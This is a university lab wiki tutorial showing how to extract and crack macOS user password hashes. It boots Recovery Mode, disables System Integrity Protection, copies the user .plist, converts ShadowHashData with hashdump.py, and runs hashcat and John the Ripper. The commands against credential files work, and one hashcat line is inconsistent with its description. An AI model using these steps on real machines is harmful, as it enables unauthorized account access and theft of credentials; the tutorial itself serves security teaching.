Acquisition and Cracking of macOS User Passwords

From Embedded Lab Vienna for IoT & Security
Jump to: navigation, search

Summary

Password cracking or the more general expression of Key recovery describes the process that is used to find a key to a known digital identity and is usually associated with high computing power requirements in order to succeed in a realistic amount of time. When searching for password cracking online, the first example is probably brute-forcing the hashes contained in the passwd/shadow file of a GNU/Linux or BSD distribution, in order to compromise its root user. This article describes how macOS, as a BSD descendant, stores the passwords for local authentication and how this can be exploited to gain unauthorized access to the device. Despite its relationship to BSD and GNU/Linux, macOS likes to implement its own unique features that differ from the norm in the UNIX-like realm. This tutorial was designed as a practical extension of the seminar paper Password Cracking: Software and Hardware Comparison.

Roadmap: Get access to a Privileged Shell via Recovery Mode → Extract Password Hashes → Crack Password Hashes

Introduction

macOS is a very popular OS from Apple, which was introduced in 2001 and is nowadays mainly found in MacBooks, but also in desktop systems like the iMac or the Mac Pro. On unattended devices, password hashes can be extracted in a short time and cracked without the target person noticing. Similar to cracking a GNU/Linux password, access to a privileged shell must be given in order to extract the corresponding property lists (.plist) to crack contained password hashes, which can be done booting into macOS Recovery Mode (RM) partition. This method works on any Mac without firmware password (EFI/Bootloader) or Apple's FileVault Full-Disk Encryption (FDE) using XTS-AES-128 cipher. A firmware password prevents starting up from any internal or external storage device other than the startup disk you've selected. And when using FDE, access to a shell can still be gained using RM, but the main partition cannot be mounted without a passphrase, so the stored passwords are safe. For now.

Note:Apple's recent OS for Intel-based computers has been renamed from Mac OS X to macOS with version 10.12 (Sierra). Apple's former OS, introduced in 1984 and based on PowerPC (Motorola 68k) hardware, is nowadays referred to as "classic" Mac OS
Note:Interested people can find everything needed to build a "Hackintosh" and get macOS running on (cheaper) unsupported Intel-based hardware at Hackintosh.

Requirements

Attacker

  • macOS >= 10.8: Mountain Lion (2012 Q2) (In order to use plutil)
  • Any CPU, GPU, DSP, FPGA, etc., that comes with an OpenCL runtime.
  • Software: Hashcat or John the Ripper, Python, hashdump.py
  • External Storage Device (Flash drive, TF/SD Card, SSD/HDD) (APFS, FAT32, NTFS)

Target

  • {i}Mac{Book} {Pro} or Hackintosh
  • macOS >= 10.11: El Capitan (2015 Q3) (Latest macOS 10.15.2: Catalina (2019 Q4))
  • Test user. Here: {username: "admin", password: "password"}

Background

Recovery Mode

Mac devices support multiple startup modes, which allow access to features and tools by holding down one or more keys during startup. Pressing Command (⌘)-R allows entering the recovery mode when the Mac is booting up. macOS Recovery is part of Apple's integrated recovery system and provides utilities for recovering Time Machine backups, reinstalling macOS, managing disks. Additionally, it also provides access to a local shell. Although this feature was designed to help users, it is often misused by hackers who try to gain unauthorized access to sensitive files.

Property Lists

Property list files (.plist) are files that store serialized dictionary objects and are used to store a user's settings and hashed passwords. Apple's open-source implementation of property lists format stores XML or JSON in binary form, and the plutil utility can be used to check the syntax of property lists, or convert a property list file from one format to another. Since macOS 10.14 (Mojave), not even root is allowed to modify the .plist files containing hashed passwords anymore while the operating system is running. This data can now only be acquired using recovery mode.

System Integrity Protection

System Integrity Protection (SIP) is a security technology in Mac OS X 10.11 (El Capitan) and later, which has been designed to help prevent potentially malicious software from modifying protected files and folders. SIP restricts the root user account and limits the actions that it can perform on protected parts of macOS. Before SIP, the root user had no permission restrictions, so it could access any system folder or app. Software obtained root-level access when entering the administrator name and password to install the software. That allowed the software to modify or overwrite any system file or app. Paths that third-party apps and installers are allowed to write to include: /Applications, /Library, /usr/local but not /System, /usr, /bin, /sbin, /var.[1]

Procedure

macOS - Recovery Mode - Terminal

Get access to a Privileged Shell

To get access to a local shell, the target device must be booted into recovery mode (RM) using Command (⌘)-R on startup. The key combination must be pressed until the Apple logo or another Startup Screen appears and can then be released. The startup process is completed when the macOS Utilities window is displayed. From there, a root terminal session can now be started.

In Order to access the property lists (.plist) containing the user password hashes stored in the /var directory, Apple's System Integrity Protection (SIP) must be deactivated, or an "Operation not permitted" message will be returned, even for root.

Check System Integrity Protection Status:

$ csrutil status
System Integrity Protection status: {enabled|disabled}

Disable System Integrity Protection from Recovery Mode Terminal:

$ csrutil disable
Successfully disabled System Integrity Protection.
Please restart the machine for the changes to take effect.

After a restart, the Recovery Mode Terminal must now be started again to continue.

$ shutdown -r now
Note: csrutil status should state that SIP is disabled, so that the next steps can be taken.

Extract Password Hashes

Now the external drive can be connected to the target Mac. After a short waiting period it should be automatically mounted under /Volumes. The desired property lists (.plist) containing the user password hashes stored in the /var/db/dslocal/nodes/Default/ directory can then be copied from the local to the external drive. The target .plist will use the target's username. Anyhow, Recovery Mode can also be used to directly extract private data and reset user passwords.

$ cp /Volumes/$INTERNAL_DRIVE/var/db/dslocal/nodes/Default/users/$USERNAME.plist /Volumes/$EXTERNAL_DRIVE/
Note: The disk configuration can be verified using diskutil list. The <hard drive name> will likely be "macOS", but may be "Macintosh HD" or some variation.
Note: SIP should be reenabled using csrutil enable when done extracting .plist files.

In the following, a Python script is used to extract the hash from the .plist. This script is part of the Empire Project Framework and can be found at Github. To do this, first copy the .plist files from the external drive into the /tmp directory. The modified Python script by tokyoneon will automatically process all .plists in that folder. The resulting String will be used with Hashcat or John the Ripper to crack the user password and is explained in the next Section.

$ cp /Volumes/$EXTERNAL_DRIVE/$USERNAME.plist /tmp
$ curl 'https://raw.githubusercontent.com/tokyoneon/hashdump.py/master/hashdump.py' -o hashdump.py
$ chmod +x ./hashdump.py
$ sudo python ./hashdump.py 2> /dev/null | cut -d "'" -f4
$ml$14771$0bf1e3c92dfd414d0a2cd53caa813b5ca2d4a58f0ec45446bf7b43bddb858959$11d81e3b9ea5f6a0fc0901af6fac09f784c8df8896643ff88f6fe032dfaa99c077190d2c017f24333a08794dc795864e959cb678ec1b78d885df8cfbe2453c8c6902df3c5f655a3a369125cd2e0de353be2b10c8e26fcffdb83891020f69768acfe8d277fea0cb1d87efca39c24282d8dcd609573a15bb14936a84949361101a
ⓘ Detailed Information about the process done by the hashdump.py script

The core functions of the hashdump.py script will be explained in the following and as these steps can also be executed manually. At the beginning it will be explained how the shadow hash is extracted from the .plist and in a second part how it can be output in a format suitable for use with hashcat or John the Ripper password cracking tool.

$ defaults read /var/db/dslocal/nodes/Default/users/$USERNAME.plist ShadowHashData | tr -dc 0-9a-f | xxd -r -p | plutil -convert xml1 - -o -

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>SALTED-SHA512-PBKDF2</key>
    <dict>
        <key>entropy</key>
        <data>
        EdgeO56l9qD8CQGvb6wJ94TI34iWZD/4j2/gMt+qmcB3GQ0sAX8kMzoIeU3H
        lYZOlZy2eOwbeNiF34z74kU8jGkC3zxfZVo6NpElzS4N41O+KxDI4m/P/bg4
        kQIPaXaKz+jSd/6gyx2H78o5wkKC2NzWCVc6FbsUk2qElJNhEBo=
        </data>
        <key>iterations</key>
        <integer>14771</integer>
        <key>salt</key>
        <data>
        C/HjyS39QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVk=
        </data>
    </dict>
</dict>
</plist>

The defaults read command returns the record with the "ShadowHashData" key from the dictionary within the .plist. While the second part of the command tr -dc 0-9a-f removes anything except hexadecimal chars 0-9a-f. xxd -r -p reverts it to binary and plutil -convert xml1 - -o - creates a human-readable xml-based plist containing the the ShadowHashData, which will be used in the next step. -o - redirects output to stdin and may be changed to -o ./ShadowHashData.plist.

Warning: I mentioned that defaults read $USERNAME.plist ShadowHashData changed the outputted data format in macOS 10.15, which results in a malfunctioning script when piping the resulting string.
ⓘ On macOS 10.14 (Mojave):
$ defaults read /Volumes/OS/admin.plist ShadowHashData
(
    <62706c69 73743030 d2010203 0a5f101e 5352502d 52464335 3035342d 34303936 2d534841 3531322d 50424b44 46325f10 1453414c 5445442d 53484135 31322d50 424b4446 32d30405 06070809 58766572 69666965 72547361 6c745a69 74657261 74696f6e 734f1102 00ccd171 6392f35d 67ef7422 c901916d ffc7f3ad 60dc7c16 3f27f7ca 8a52d6f1 a58b5098 10860574 7c759057 87189d4f bd2d424f e9c1151a 9529e37b b977fa3e 012fd3c8 2ee4a59b ce6ae561 11016977 2941b9b9 0b625d6f 14818f4c 897de779 26aaef08 f0eaefbc f23546b6 9f5f582d eeec2721 1443d211 ef9e7173 3c381f62 c12ef96d bb83cac9 5ccbe592 7c66d400 ef8ea2ed 20504780 5d30c98b c6c15616 5d3a1899 52fe4de8 faf5322f c74ec697 bb6db1c2 00fbd7eb dda384e0 f63d13ad 9e8d893d 29ae580d a672eb4b 6adf9ccb 98f3c399 a54dbb98 ead15464 156571d1 36f31ed7 d296ef19 67fa7892 9f30667c ae7a2bc0 01dee07d 29315da0 b2ae906a 0bdd63d1 ecc4f1db 4a96d223 e4748f05 42b5c3c7 5a6803f0 4402e4d1 ad9226fd 78feb54a ebf71e39 99cd0139 d5c35521 402944d3 44b949ca 0d13d1ac afdb77a7 6f247c5c 6d5aee1a 6073bfd3 5237ee4b 806b09e2 b8f3eeea 6537f84c 1c0938e6 dd621388 7097f1b0 312f9994 37eb0e00 85ae55d4 2875557b d0fd13b7 0329e639 99c39c63 01ddd0da 3096d198 dad21151 2845091d 1724c0cf bafe5717 29477d61 835ea1ce 8432b321 5b409811 ad4892f6 05897ddd fb44c8be 3b7f4fd0 af4b5db0 2dd7eb5d 94f78c42 f70063a8 a2154b78 cfe3f036 3bfc37e6 3d0dc90f f6239a76 a10170a3 8442a3ac 2f028b86 bf0bb165 187a13ae 8ece8ed6 45981f62 59f6d574 934f1020 e84f75a5 e79987e1 0122552c 23be5cb9 86d7834a 221d0de3 0582d463 e2c17cf8 1139b3d3 0b05060c 0d095765 6e74726f 70794f10 8011d81e 3b9ea5f6 a0fc0901 af6fac09 f784c8df 8896643f f88f6fe0 32dfaa99 c077190d 2c017f24 333a0879 4dc79586 4e959cb6 78ec1b78 d885df8c fbe2453c 8c6902df 3c5f655a 3a369125 cd2e0de3 53be2b10 c8e26fcf fdb83891 020f6976 8acfe8d2 77fea0cb 1d87efca 39c24282 d8dcd609 573a15bb 14936a84 94936110 1a4f1020 0bf1e3c9 2dfd414d 0a2cd53c aa813b5c a2d4a58f 0ec45446 bf7b43bd db858959 0008000d 002e0045 004c0055 005a0065 0269028c 028f0296 029e0321 00000000 00000201 00000000 0000000e 00000000 00000000 00000000 00000344>
)
ⓘ On macOS 10.15 (Catalina):
 $ defaults read /Volumes/OS/admin.plist ShadowHashData
 (
    {length = 896, bytes = 0x62706c69 73743030 d2010203 0a5f101e ... 00000000 00000344 }
 )

This means that the shadow hash "needs" to be extracted "manually" on macOS 10.15. This can be done by parsing the .plist from binary to xml and manually looking for the ShadowHashData key. This data needs to be decoded base64 and then converted to xml in order to get the same output as with the working command on macOS <10.15.

$ plutil -convert xml1 $USERNAME.plist | cat $USERNAME.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    [...]
    <key>ShadowHashData</key>
    <array>
        <data>
        YnBsaXN0MDDSAQIDCl8QHlNSUC1SRkM1MDU0LTQwOTYtU0hBNTEyLVBCS0RG
        Ml8QFFNBTFRFRC1TSEE1MTItUEJLREYy0wQFBgcICVh2ZXJpZmllclRzYWx0
        Wml0ZXJhdGlvbnNPEQIAzNFxY5LzXWfvdCLJAZFt/8fzrWDcfBY/J/fKilLW
        8aWLUJgQhgV0fHWQV4cYnU+9LUJP6cEVGpUp43u5d/o+AS/TyC7kpZvOauVh
        EQFpdylBubkLYl1vFIGPTIl953kmqu8I8OrvvPI1RrafX1gt7uwnIRRD0hHv
        nnFzPDgfYsEu+W27g8rJXMvlknxm1ADvjqLtIFBHgF0wyYvGwVYWXToYmVL+
        Tej69TIvx07Gl7ttscIA+9fr3aOE4PY9E62ejYk9Ka5YDaZy60tq35zLmPPD
        maVNu5jq0VRkFWVx0TbzHtfSlu8ZZ/p4kp8wZnyueivAAd7gfSkxXaCyrpBq
        C91j0ezE8dtKltIj5HSPBUK1w8daaAPwRALk0a2SJv14/rVK6/ceOZnNATnV
        w1UhQClE00S5ScoNE9Gsr9t3p28kfFxtWu4aYHO/01I37kuAawniuPPu6mU3
        +EwcCTjm3WITiHCX8bAxL5mUN+sOAIWuVdQodVV70P0TtwMp5jmZw5xjAd3Q
        2jCW0Zja0hFRKEUJHRckwM+6/lcXKUd9YYNeoc6EMrMhW0CYEa1IkvYFiX3d
        +0TIvjt/T9CvS12wLdfrXZT3jEL3AGOoohVLeM/j8DY7/DfmPQ3JD/Yjmnah
        AXCjhEKjrC8Ci4a/C7FlGHoTro7OjtZFmB9iWfbVdJNPECDoT3Wl55mH4QEi
        VSwjvly5hteDSiIdDeMFgtRj4sF8+BE5s9MLBQYMDQlXZW50cm9weU8QgBHY
        Hjuepfag/AkBr2+sCfeEyN+IlmQ/+I9v4DLfqpnAdxkNLAF/JDM6CHlNx5WG
        TpWctnjsG3jYhd+M++JFPIxpAt88X2VaOjaRJc0uDeNTvisQyOJvz/24OJEC
        D2l2is/o0nf+oMsdh+/KOcJCgtjc1glXOhW7FJNqhJSTYRAaTxAgC/HjyS39
        QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVkACAANAC4ARQBMAFUAWgBlAmkC
        jAKPApYCngMhAAAAAAAAAgEAAAAAAAAADgAAAAAAAAAAAAAAAAAAA0Q=
        </data>
    </array>
        [...]
</dict>
</plist>

$ echo $SHADOW_HASH_DATA | base64 --decode | plutil -convert xml1 - -o -

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>SALTED-SHA512-PBKDF2</key>
    <dict>
        <key>entropy</key>
        <data>
        EdgeO56l9qD8CQGvb6wJ94TI34iWZD/4j2/gMt+qmcB3GQ0sAX8kMzoIeU3H
        lYZOlZy2eOwbeNiF34z74kU8jGkC3zxfZVo6NpElzS4N41O+KxDI4m/P/bg4
        kQIPaXaKz+jSd/6gyx2H78o5wkKC2NzWCVc6FbsUk2qElJNhEBo=
        </data>
        <key>iterations</key>
        <integer>14771</integer>
        <key>salt</key>
        <data>
        C/HjyS39QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVk=
        </data>
    </dict>
</dict>
</plist>
ⓘ See example admin.plist after converting to XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>AvatarRepresentation</key>
    <array>
        <string></string>
    </array>
    <key>HeimdalSRPKey</key>
    <array>
        <data>
        MIICK6CCAgQEggIAgTgsbzpXXyqgFKy78GhFY2u6beCYAcONlEenOgAkojJ+
        guumiYOe9wHvW1q5RZ+zGJhUMi/cK6rf0+V+a3Z4Ra8DwuVr3VTIcwmxC5Le
        /Gnxgz6xacPPDeMSlEBlH1NW2e0Z1mcYvapMH81gcNrCSneljWkPgxxUCKY9
        UycOJBgMumE6yIzt5z/GlvEuNeWT6uPQxWEsClDLeQgKqu1QE++1N36s/ZdJ
        1ytgQ3Kmlb0p5l/RfGiDmCvlHlL7KeZVn1R12zPTKLoaLJzXXqZWrWRZwlPl
        9NBadwMpi2RrdZ6fFMw2pqZ67WKFXVEle3KF4Edi2heiYRzbJaZ3QnXqYfJO
        3QIFUFLXildpHtFb0kZ5i5PMjuBiNx4VzwOhYw/pIfuIGkCFXnSLz+8nZmFk
        BaX0IBQh8xMNLQxqteEi6DLskD6kk+5EXmywn4xqntwP7M8t9XkzvS4cRUg9
        bW7/gd0TWS7zBdxYlUtJf9YMWcJS1yS1iN0yhoSHnKQICFN1VNropG3ORNJ2
        mfGVnBOrNkHBEU0TVSRAuS0pQxT6iMqnfebLrzaAasmECMh+w+mutWTxLAhm
        77A1Suwb2H+Jr3yKUKCT50kBbeluzwi4nxdIrnfNex4q9UCJtKiGhpCyynCw
        folhylW90dbaOHTRoXHksFsthbRtG+L6bxYSwNahITAfoAMCAQGhEgQQxokb
        nbZFkn2qH0/5kXFI36IEAgIPoA==
        </data>
    </array>
    <key>KerberosKeys</key>
    <array>
        <data>
        MIIBTqEDAgEEoIIBRTCCAUEwcaErMCmgAwIBEqEiBCCN/7q/k1UadqZjiyQX
        nbEuBWHYH5+Xd/ONAey/k4AJw6JCMECgAwIBA6E5BDdMS0RDOlNIQTEuQjBF
        NjM5QUM1MENBQjY3RjhDNzA5QjBEQjc1MDFCMzRFQ0RFMEZEQWFkbWluMGGh
        GzAZoAMCARGhEgQQ8bXsa/qNETE3CF5/JLBVXqJCMECgAwIBA6E5BDdMS0RD
        OlNIQTEuQjBFNjM5QUM1MENBQjY3RjhDNzA5QjBEQjc1MDFCMzRFQ0RFMEZE
        QWFkbWluMGmhIzAhoAMCARChGgQYKRNJNw0LMuOSWIxUKZRSwmGezquw0++w
        okIwQKADAgEDoTkEN0xLREM6U0hBMS5CMEU2MzlBQzUwQ0FCNjdGOEM3MDlC
        MERCNzUwMUIzNEVDREUwRkRBYWRtaW4=
        </data>
    </array>
    <key>LinkedIdentity</key>
    <array>
        <string><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>appleid.apple.com</key>
    <dict>
        <key>linked identities</key>
        <array>
            <dict>
                <key>unverified name</key>
                <string>apple@mail.com</string>
            </dict>
        </array>
    </dict>
</dict>
</plist>
</string>
    </array>
    <key>ShadowHashData</key>
    <array>
        <data>
        YnBsaXN0MDDSAQIDCl8QHlNSUC1SRkM1MDU0LTQwOTYtU0hBNTEyLVBCS0RG
        Ml8QFFNBTFRFRC1TSEE1MTItUEJLREYy0wQFBgcICVh2ZXJpZmllclRzYWx0
        Wml0ZXJhdGlvbnNPEQIAzNFxY5LzXWfvdCLJAZFt/8fzrWDcfBY/J/fKilLW
        8aWLUJgQhgV0fHWQV4cYnU+9LUJP6cEVGpUp43u5d/o+AS/TyC7kpZvOauVh
        EQFpdylBubkLYl1vFIGPTIl953kmqu8I8OrvvPI1RrafX1gt7uwnIRRD0hHv
        nnFzPDgfYsEu+W27g8rJXMvlknxm1ADvjqLtIFBHgF0wyYvGwVYWXToYmVL+
        Tej69TIvx07Gl7ttscIA+9fr3aOE4PY9E62ejYk9Ka5YDaZy60tq35zLmPPD
        maVNu5jq0VRkFWVx0TbzHtfSlu8ZZ/p4kp8wZnyueivAAd7gfSkxXaCyrpBq
        C91j0ezE8dtKltIj5HSPBUK1w8daaAPwRALk0a2SJv14/rVK6/ceOZnNATnV
        w1UhQClE00S5ScoNE9Gsr9t3p28kfFxtWu4aYHO/01I37kuAawniuPPu6mU3
        +EwcCTjm3WITiHCX8bAxL5mUN+sOAIWuVdQodVV70P0TtwMp5jmZw5xjAd3Q
        2jCW0Zja0hFRKEUJHRckwM+6/lcXKUd9YYNeoc6EMrMhW0CYEa1IkvYFiX3d
        +0TIvjt/T9CvS12wLdfrXZT3jEL3AGOoohVLeM/j8DY7/DfmPQ3JD/Yjmnah
        AXCjhEKjrC8Ci4a/C7FlGHoTro7OjtZFmB9iWfbVdJNPECDoT3Wl55mH4QEi
        VSwjvly5hteDSiIdDeMFgtRj4sF8+BE5s9MLBQYMDQlXZW50cm9weU8QgBHY
        Hjuepfag/AkBr2+sCfeEyN+IlmQ/+I9v4DLfqpnAdxkNLAF/JDM6CHlNx5WG
        TpWctnjsG3jYhd+M++JFPIxpAt88X2VaOjaRJc0uDeNTvisQyOJvz/24OJEC
        D2l2is/o0nf+oMsdh+/KOcJCgtjc1glXOhW7FJNqhJSTYRAaTxAgC/HjyS39
        QU0KLNU8qoE7XKLUpY8OxFRGv3tDvduFiVkACAANAC4ARQBMAFUAWgBlAmkC
        jAKPApYCngMhAAAAAAAAAgEAAAAAAAAADgAAAAAAAAAAAAAAAAAAA0Q=
        </data>
    </array>
    <key>_writers_AvatarRepresentation</key>
    <array>
        <string>admin</string>
    </array>
    <key>_writers_UserCertificate</key>
    <array>
        <string>admin</string>
    </array>
    <key>_writers_hint</key>
    <array>
        <string>admin</string>
    </array>
    <key>_writers_jpegphoto</key>
    <array>
        <string>admin</string>
    </array>
    <key>_writers_passwd</key>
    <array>
        <string>admin</string>
    </array>
    <key>_writers_picture</key>
    <array>
        <string>admin</string>
    </array>
    <key>_writers_unlockOptions</key>
    <array>
        <string>admin</string>
    </array>
    <key>accountPolicyData</key>
    <array>
        <data>
        PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NU
        WVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VO
        IiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4w
        LmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdD4KCTxrZXk+Y3Jl
        YXRpb25UaW1lPC9rZXk+Cgk8cmVhbD4xNTY3ODc0NjMyLjcxMjIyNTwvcmVh
        bD4KCTxrZXk+ZmFpbGVkTG9naW5Db3VudDwva2V5PgoJPGludGVnZXI+MDwv
        aW50ZWdlcj4KCTxrZXk+ZmFpbGVkTG9naW5UaW1lc3RhbXA8L2tleT4KCTxp
        bnRlZ2VyPjA8L2ludGVnZXI+Cgk8a2V5Pmxhc3RMb2dpblRpbWVzdGFtcDwv
        a2V5PgoJPHJlYWw+OTc4MzA3MjAwPC9yZWFsPgoJPGtleT5wYXNzd29yZExh
        c3RTZXRUaW1lPC9rZXk+Cgk8cmVhbD4xNTQ2MzAxMTIzLjIzNDIzODE8L3Jl
        YWw+CjwvZGljdD4KPC9wbGlzdD4K
        </data>
    </array>
    <key>authentication_authority</key>
    <array>
        <string>;ShadowHash;HASHLIST:<SALTED-SHA512-PBKDF2,SRP-RFC5054-4096-SHA512-PBKDF2></string>
        <string>;Kerberosv5;;admin@LKDC:SHA1.B0E639AC50CAB67F8C709B0DB7501B34ECDE0FDA;LKDC:SHA1.B0E639AC50CAB67F8C709B0DB7501B34ECDE0FDA;</string>
    </array>
    <key>generateduid</key>
    <array>
        <string>93D8EA27-7277-4030-9417-3121ED21E4B0</string>
    </array>
    <key>gid</key>
    <array>
        <string>20</string>
    </array>
    <key>home</key>
    <array>
        <string>/Users/admin</string>
    </array>
    <key>jpegphoto</key>
    <array>
        <data>
                [...]
        </data>
    </array>
    <key>name</key>
    <array>
        <string>admin</string>
    </array>
    <key>passwd</key>
    <array>
        <string>********</string>
    </array>
    <key>picture</key>
    <array>
        <string>/Library/User Pictures/Nature/Zen.tif</string>
    </array>
    <key>realname</key>
    <array>
        <string>John Doe</string>
    </array>
    <key>record_daemon_version</key>
    <array>
        <string>4855000</string>
    </array>
    <key>shell</key>
    <array>
        <string>/bin/bash</string>
    </array>
    <key>uid</key>
    <array>
        <string>501</string>
    </array>
    <key>unlockOptions</key>
    <array>
        <string>0</string>
    </array>
</dict>
</plist>

The resulting data within the ShadowHashData.plist or inside the output of the terminal, contains three key parts: iterations, entropy and salt. Where iterations is just an integer, but entropy and salt are base64 encoded, which have to be decoded and dumped to hex using xxd.

$echo  "$SALT_DATA" | base64 -D | xxd -p | tr -d \\n
0bf1e3c92dfd414d0a2cd53caa813b5ca2d4a58f0ec45446bf7b43bddb858959
$echo  "$ENTROPY_DATA" | base64 -D | xxd -p | tr -d \\n
11d81e3b9ea5f6a0fc0901af6fac09f784c8df8896643ff88f6fe032dfaa99c077190d2c017f24333a08794dc795864e959cb678ec1b78d885df8cfbe2453c8c6902df3c5f655a3a369125cd2e0de353be2b10c8e26fcffdb83891020f69768acfe8d277fea0cb1d87efca39c24282d8dcd609573a15bb14936a84949361101a

These values are now combined into a string and stored for use with Hashcat or John the Ripper. The resulting string gives the same result as the hashdump.py script and is cracked in the next and last section.

$ml$<iterations(integer)>$<salt(hex)>$<entropy(hex)>

Crack Password Hashes

This is the time-critical part of the process, and in this specific case, a hash of the macOS v10.8+ (PBKDF2-SHA512) type is targeted. Depending on the hardware or software used, the time it takes to find the password can be extended or shortened. It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU). However, not everyone has the latest GPU, and hashcat may not run on all hardware. Before each new hash type that needs to be cracked, the choice of hardware and software should be considered, since calculation rates per second can vary greatly. Based on the results of the built-in benchmarking functions hashcat --benchmark -m $HASHMODE (e.g. -m 7100) and john --test --format=$HASHMODE (e.g. --format=PBKDF2-HMAC-SHA512{-opencl}) one should decide which tool is best suited for a specific scenario.

In this simple example, with a known password, only a simple wordlist attack is listed. Depending on the scenario, an appropriate attack mode, such as rule-based, syllable, hybrid, rainbow, must be used. This decision should only be made if you have some knowledge about the structure of the password. Otherwise, common passwords should be checked using wordlist, and if unsuccessful, more complex attacks should be used. The hashes are passed to the program in the structure described above (CODE$ml$ITERATIONS$SALT$ENTROPY), while the $HASHES.txt can contain a variety of hashes.

$ john $HASHES.txt $WORDLIST.txt --format=PBKDF2-HMAC-SHA512-opencl
# OR
$ hashcat --attack-mode 3 --hash-type 7100 $HASHES.txt $WORDLIST.txt
Note: >The --format is not necessary in most cases, since John the Ripper provides hash detection and can be omitted.
Note: Further information can be found here: Password Cracking: Software and Hardware Comparison.

Not all macOS hashes are created equally. Hash iterations are used as a "slowdown factor," which essentially forces CPUs and GPUs to take significantly longer when computing a single password attempt. The number of iterations varies in different versions of macOS. One thing is certain: the higher this value is, the longer the employed cracking tool will have to work to crack a single hash.

Used Hardware

  • MacBook Pro (15-inch, 2017), macOS 10.15.1, 2.8GHz Intel Core i7 (4-core), 16GB LPDDR3
  • MacBook Pro (15-inch, 2014), macOS 10.14.6, 2.2GHz Intel Core i7 (4-core), 16GB DDR3

References